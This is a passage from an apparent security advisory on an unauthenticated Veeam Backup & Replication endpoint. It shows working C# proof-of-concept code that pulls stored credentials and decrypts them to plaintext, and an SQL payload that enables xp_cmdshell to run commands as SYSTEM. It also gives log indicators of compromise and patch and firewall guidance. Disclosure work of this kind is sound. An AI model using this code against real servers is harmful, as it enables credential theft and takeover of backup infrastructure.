000004e0  fe b2 bf 02 bb 7c a9 01 e8 ff ff ff f4 ff ff ff  |þ²¿.»|©.èÿÿÿôÿÿÿ|
000004f0  06 19 00 00 00 24 46 44 30 30 34 31 44 31 2d 34  |.....$FD0041D1-4|
00000500  41 36 38 2d 34 41 42 44 2d 41 45 46 45 2d 42 32  |A68-4ABD-AEFE-B2|
00000510  42 46 30 32 42 42 37 43 41 39 01 09 1a 00 00 00  |BF02BB7CA9......|
00000520  01 08 00 00 00 04 00 00 00 42 03 00 00 00 00 00  |.........B......|
00000530  00 01 e5 ff ff ff f5 ff ff ff 9f c2 e4 f2 11 2e  |..åÿÿÿõÿÿÿ. äò..|
00000540  47 44 b4 81 23 d3 b1 3c cc c2 01 e4 ff ff ff f4  |GD´.#Ó±<Ì .äÿÿÿô|
00000550  ff ff ff 06 1d 00 00 00 24 66 32 65 34 63 32 39  |ÿÿÿ.....$f2e4c29|
00000560  66 2d 32 65 31 31 2d 34 34 34 37 2d 62 34 38 31  |f-2e11-4447-b481|
00000570  2d 32 33 64 33 62 31 33 63 63 63 63 32 01 09 1e  |-23d3b13cccc2...|
00000580  00 00 00 01 09 00 00 00 04 00 00 00 45 03 00 00  |............E...|
00000590  00 00 00 00 01 e1 ff ff ff f5 ff ff ff 49 b1 20  |.....áÿÿÿõÿÿÿI± |
000005a0  95 40 5b a6 4b ae a1 63 29 58 95 5d 36 01 e0 ff  |.@[¦K®¡c)X.]6.àÿ|
000005b0  ff ff f4 ff ff ff 06 21 00 00 00 24 39 35 32 30  |ÿÿôÿÿÿ.!...$9520|
000005c0  62 31 34 39 2d 35 62 34 30 2d 34 62 61 36 2d 61  |b149-5b40-4ba6-a|
000005d0  65 61 31 2d 36 33 32 39 35 38 39 35 35 64 33 36  |ea1-632958955d36|
000005e0  01 09 22 00 00 00 05 0e 00 00 00 20 56 65 65 61  |.."........ Veea|
000005f0  6d 2e 42 61 63 6b 75 70 2e 43 6f 6d 6d 6f 6e 2e  |m.Backup.Common.|
00000600  43 43 72 65 64 65 6e 74 69 61 6c 73 07 00 00 00  |CCredentials....|
00000610  08 55 73 65 72 4e 61 6d 65 08 50 61 73 73 77 6f  |.UserName.Passwo|
00000620  72 64 0e 49 73 4c 6f 63 61 6c 50 72 6f 74 65 63  |rd.IsLocalProtec|
00000630  74 0b 43 75 72 72 65 6e 74 55 73 65 72 0b 44 65  |t.CurrentUser.De|
00000640  73 63 72 69 70 74 69 6f 6e 15 43 68 61 6e 67 65  |scription.Change|
00000650  54 69 6d 65 55 74 63 48 61 73 56 61 6c 75 65 0d  |TimeUtcHasValue.|
00000660  43 68 61 6e 67 65 54 69 6d 65 55 74 63 01 01 00  |ChangeTimeUtc...|
00000670  00 01 00 00 01 01 01 0d 0a 00 00 00 06 23 00 00  |.............#..|
00000680  00 04 72 6f 6f 74 06 24 00 00 00 00 01 00 06 25  |..root.$.......%|
00000690  00 00 00 1c 48 65 6c 70 65 72 20 61 70 70 6c 69  |....Helper appli|
000006a0  61 6e 63 65 20 63 72 65 64 65 6e 74 69 61 6c 73  |ance credentials|
000006b0  01 e0 53 b3 4b 60 29 db 08 01 12 00 00 00 0e 00  |.àS³K`)Û........|
000006c0  00 00 06 26 00 00 00 04 72 6f 6f 74 09 24 00 00  |...&....root.$..|
000006d0  00 01 00 06 28 00 00 00 33 54 65 6e 61 6e 74 2d  |....(...3Tenant-|
000006e0  73 69 64 65 20 6e 65 74 77 6f 72 6b 20 65 78 74  |side network ext|
000006f0  65 6e 73 69 6f 6e 20 61 70 70 6c 69 61 6e 63 65  |ension appliance|
00000700  20 63 72 65 64 65 6e 74 69 61 6c 73 01 10 79 bb  | credentials..y»|
00000710  3e 60 29 db 08 01 16 00 00 00 0e 00 00 00 06 29  |>`)Û...........)|
00000720  00 00 00 04 72 6f 6f 74 09 24 00 00 00 01 00 06  |....root.$......|
00000730  2b 00 00 00 22 41 7a 75 72 65 20 68 65 6c 70 65  |+..."Azure helpe|
00000740  72 20 61 70 70 6c 69 61 6e 63 65 20 63 72 65 64  |r appliance cred|
00000750  65 6e 74 69 61 6c 73 01 b0 6e 4e 43 60 29 db 08  |entials.°nNC`)Û.|
00000760  01 1a 00 00 00 0e 00 00 00 06 2c 00 00 00 04 72  |..........,....r|
00000770  6f 6f 74 09 24 00 00 00 01 00 06 2e 00 00 00 35  |oot.$..........5|
00000780  50 72 6f 76 69 64 65 72 2d 73 69 64 65 20 6e 65  |Provider-side ne|
00000790  74 77 6f 72 6b 20 65 78 74 65 6e 73 69 6f 6e 20  |twork extension |
000007a0  61 70 70 6c 69 61 6e 63 65 20 63 72 65 64 65 6e  |appliance creden|
000007b0  74 69 61 6c 73 01 10 79 bb 3e 60 29 db 08 01 1e  |tials..y»>`)Û...|
000007c0  00 00 00 0e 00 00 00 06 2f 00 00 00 0e 54 65 73  |......../....Tes|
000007d0  74 4c 69 6e 75 78 41 64 6d 69 6e 06 30 00 00 00  |tLinuxAdmin.0...|
000007e0  1d 41 6e 6f 74 68 65 72 54 65 73 74 50 61 73 73  |.AnotherTestPass| <--- plaintext password
000007f0  77 6f 72 64 39 38 37 36 35 34 33 32 31 21 01 00  |word987654321!..|
00000800  06 31 00 00 00 0e 54 65 73 74 4c 69 6e 75 78 41  |.1....TestLinuxA|
00000810  64 6d 69 6e 01 50 a5 fc 5e f1 29 db 08 01 22 00  |dmin.P¥ü^ñ)Û..".|
00000820  00 00 0e 00 00 00 06 32 00 00 00 11 54 65 73 74  |.......2....Test|
00000830  53 74 61 6e 64 61 72 64 41 64 6d 69 6e 06 33 00  |StandardAdmin.3.|
00000840  00 00 15 4d 79 41 64 6d 69 6e 50 61 73 73 77 6f  |...MyAdminPasswo| <--- plaintext password
00000850  72 64 31 32 33 34 35 21 01 00 06 34 00 00 00 05  |rd12345!...4....|
00000860  41 64 6d 69 6e 01 10 39 43 3d f1 29 db 08 0b     |Admin..9C=ñ)Û..|

If we want to deserialize the xml_result and retrieve the plaintext password we can use the following code.

CCommonInvokeRetVal allCreds2 = CCommonInvokeRetVal.Deserialize(xml_result);

string retVal = allCreds2.GetParamAsString("retVal");

List<CDbCredentialsInfo> result = CProxyBinaryFormatter.Deserialize<List<CDbCredentialsInfo>>(retVal);

foreach (CDbCredentialsInfo info in result)
{
    byte[] password_raw;

    // password is now 'encrypted' using Crypt32!CryptProtectData from our local machine, which occurred during deserialization above.
    // so we can unprotect it here to get back the plaintext. 
    if (info.Credentials.IsLocalProtect)
        password_raw = ProtectedData.Unprotect(Convert.FromBase64String(info.Credentials.EncryptedPassword.Value), (byte[])null, (DataProtectionScope)1);
    else
        password_raw = ProtectedData.Unprotect(Convert.FromBase64String(info.Credentials.EncryptedPassword.Value), (byte[])null, (DataProtectionScope)0);

    string password = Encoding.UTF8.GetString(password_raw);

    Console.WriteLine("User: {0}\nID: {1}\nPassword: {2}\n", info.Credentials.Name, info.Id, password);
}

The above code is included in the proof of concept exploit that accompanies this analysis and produces the following result.

VeeamHax1

Remote Code Execution

Not only does the vulnerable unauthenticated endpoint leak plaintext credentials, it also allows for remote code execution on the Veeam Backup & Replication server itself. An exposed method to perform SQL queries can be leveraged to gain arbitrary command execution with local system privileges.

To execute an arbitrary SQL statement we can call the GetDataTable method which is exposed in the IRemoteInvokeService interface, and will accept 3 parameters scope, method and parameters. The parameters are expected to be in the form of an XML string.

    public DataTable GetDataTable(
      ERemoteInvokeScope scope,
      ERemoteInvokeMethod method,
      string parameters)
    {
      try
      {
        Log.Message(LogLevels.UltimateDetailed, string.Format("Invoke: scope '{0}', method '{1}'", (object) scope, (object) method));
        XmlNode specNode = CRemoteInvokeSpec.GetSpecNode(parameters);
        DataTable retVal;
        this.ProcessCommand(scope, method, specNode, out retVal); // <---
        return retVal;
      }
      catch (Exception ex)
      {
        int scope1 = (int) scope;
        int method1 = (int) method;
        CBackupSecureServiceErrorHandler.LogAndThrowFaultException(ex, (ERemoteInvokeScope) scope1, (ERemoteInvokeMethod) method1);
        throw;
      }
    }

By providing a scope of ERemoteInvokeScope.DatabaseAccessor we can call the ExecuteDatabaseAccessorCommand method.

    protected void ProcessCommand(
      ERemoteInvokeScope scope,
      ERemoteInvokeMethod method,
      XmlNode specNode,
      out DataTable retVal)
    {
      if (scope != ERemoteInvokeScope.DatabaseAccessor)
        throw ExceptionFactory.Create(string.Format("Unknown scope: {0}", (object) scope));
      this.ExecuteDatabaseAccessorCommand(method, specNode, out retVal); // <---
    }

And by providing a method of ERemoteInvokeMethod.GetDataTable we can call the GetDataTable method.

    private void ExecuteDatabaseAccessorCommand(
      ERemoteInvokeMethod method,
      XmlNode specNode,
      out DataTable retVal)
    {
      if (method != ERemoteInvokeMethod.GetDataTable)
        throw ExceptionFactory.Create(string.Format("Unknown command: {0}", (object) method));
      CDbGetDataTableRemoteInvokeSpec remoteInvokeSpec = CDbGetDataTableRemoteInvokeSpec.Unserial(specNode);
      retVal = this._managers.DatabaseManager.GetDataTable(remoteInvokeSpec.RequestSpec).DataTable; // <---
      retVal.TableName = "GetDataTable";
    }

The GetDataTable method will pass the attacker supplied SqlCommand and CommandType to LocalDbAccessor.GetDataTable which in turn will call GetQueryDataTable if the CommandType is set to be CommandType.Text (1).

namespace Veeam.Backup.ServiceLib
{
  public class CRemoteDatabaseMgmtManager : IDisposable
  {

    public CDataTableSurrogate GetDataTable(CRemoteDbAccessorSpec spec) => (spec.CommandType != CommandType.Text ? this.GetProcedureDataTable(spec) : this.GetQueryDataTable(spec)).GetSurrogate();

    private DataTable GetQueryDataTable(CRemoteDbAccessorSpec spec) => this._accessor.GetDataTable(spec.SqlCommand, spec.CommandType, ((IEnumerable<CSerializableSqlParam>) spec.SerializedSqlParams).Select<CSerializableSqlParam, SqlParameter>((System.Func<CSerializableSqlParam, SqlParameter>) (s => s.GetSqlParameter())).ToArray<SqlParameter>());

Finally the LocalDbAccessor.GetDataTable method will run the SQL command on the database before returning the results.

namespace Veeam.Backup.DBManager
{
  public class LocalDbAccessor : IDatabaseAccessor, IDisposable, IDbAccessor
  {

    public DataTable GetDataTable(string query, CommandType type, params SqlParameter[] spParams)
    {
      try
      {
        Log.Trace("[DB] {0}", (object) query);
        CSqlTransactionInfo sqlTransactionInfo = this._transactionManager.FindSqlTransactionInfo();
        SqlConnection connection = sqlTransactionInfo == null ? CDbConnection.OpenConnection(this._connectionString) : sqlTransactionInfo.SqlConnection;
        try
        {
          SqlCommand selectCommand = sqlTransactionInfo == null ? new SqlCommand(query, connection) : new SqlCommand(query, connection, sqlTransactionInfo.SqlTransaction);
          DataTable dataTable = new DataTable();
          using (selectCommand)
          {
            using (SqlDataAdapter sqlDataAdapter = new SqlDataAdapter(selectCommand))
            {
              selectCommand.CommandType = type;
              selectCommand.CommandTimeout = this._commandTimeout;
              selectCommand.Parameters.AddRange(spParams);
              dataTable.BeginLoadData();
              sqlDataAdapter.Fill(dataTable);
              dataTable.EndLoadData();
            }
          }
          return dataTable;
        }
        finally
        {
          if (sqlTransactionInfo == null)
            connection.Dispose();
        }
      }
      catch (Exception ex)
      {
        CExceptionUtil.ThrowSqlException(ex, false);
        throw;
      }
    }

As Veeam Backup & Replication uses Microsoft SQL Server by default, we can exploit the ability to run SQL commands and achieve arbitrary command execution by leveraging the xp_cmdshell stored procedure. While this procedure is considered dangerous and is disabled by default, the Veeam Backup service connects to the database with the privileges required to enable the feature through several additional SQL commands.

As such we can execute an arbitrary shell command (popping notepad.exe in the example below) with local system privileges on the remote Veeam Backup & Replication server via the following code.

String cmd = "c:\\windows\\notepad.exe";

string spec = String.Format(
    """
    <RemoteInvokeSpec ContextSessionId="{0}">
        <DbGetDataTableRemoteInvokeSpec>
            <SqlCommand>EXEC sp_configure 'show advanced options', 1; EXEC sp_configure reconfigure; EXEC sp_configure 'xp_cmdshell', 1; EXEC sp_configure reconfigure; EXEC xp_cmdshell '{1}';</SqlCommand>
            <CommandType>1</CommandType>
        </DbGetDataTableRemoteInvokeSpec>
    </RemoteInvokeSpec>
    """, 
    Guid.NewGuid().ToString(), 
    cmd
);

channel.GetDataTable(ERemoteInvokeScope.DatabaseAccessor, ERemoteInvokeMethod.GetDataTable, spec);

The above code is included in the proof of concept exploit that accompanies this analysis and produces the following result.

VeeamHax2

VeeamHax3

An attacker may leverage arbitrary command execution to achieve arbitrary code execution through a number of means, such as downloading an attacker controlled program via a mechanism such as curl or ftp and then executing the program.

IOCs

When leaking plaintext credential through the vulnerable endpoint, the log file C:\ProgramData\Veeam\Backup\Svc.VeeamBackup.log will contain the following, which corresponds to the remote call to the CredentialsDbScopeGetAllCreds method, along with the DB stored procedure GetAllCreds. Note that legitimate access to the endpoint may also produce this log entry and it is not indicative in and of itself to malicious access.

[23.03.2023 05:09:09] <99> Info               Invoke: scope 'DatabaseManager', method 'CredentialsDbScopeGetAllCreds'
[23.03.2023 05:09:09] <99> Info             [DB] GetAllCreds, 

If a malicious SQL query is performed against a Microsoft SQL server database, the Svc.VeeamBackup.log will also contain the full SQL query. For example

[23.03.2023 04:21:11] <69> Info             [DB] EXEC sp_configure 'show advanced options', 1; EXEC sp_configure reconfigure; EXEC sp_configure 'xp_cmdshell', 1; EXEC sp_configure reconfigure; EXEC xp_cmdshell 'c:\windows\notepad.exe';

The Microsoft SQL Server log file C:\Program Files\Microsoft SQL Server\MSSQL13.VEEAMSQL2016\MSSQL\Log\ERRORLOG will contain the following if the xp_cmdshell stored procedure was used during exploitation. Note that there may be other methods to leverage arbitrary SQL queries that lead to exploitation and do not require ‘xp_cmdshell`.

2023-03-23 05:09:21.88 spid56      Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
2023-03-23 05:09:21.89 spid56      Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.

Guidance

Veeam Backup & Replication customers should update to the latest version of the product to remediate this issue, specifically build 12.0.0.1420 P20230223 for version 12 of the product and build 11.0.1.1261 P20230227 for version 11 of the product.

Firewall rules should be in place to block all incoming TCP connections to port 9401 on the system running the Veeam Backup server. If access from a remote Veeam Mount server is required, firewall exceptions may be in place to allow this, however an attacker with a foothold on a Veeam Mount server would therefore be able to connect to the vulnerable endpoint on the Veeam Backup server.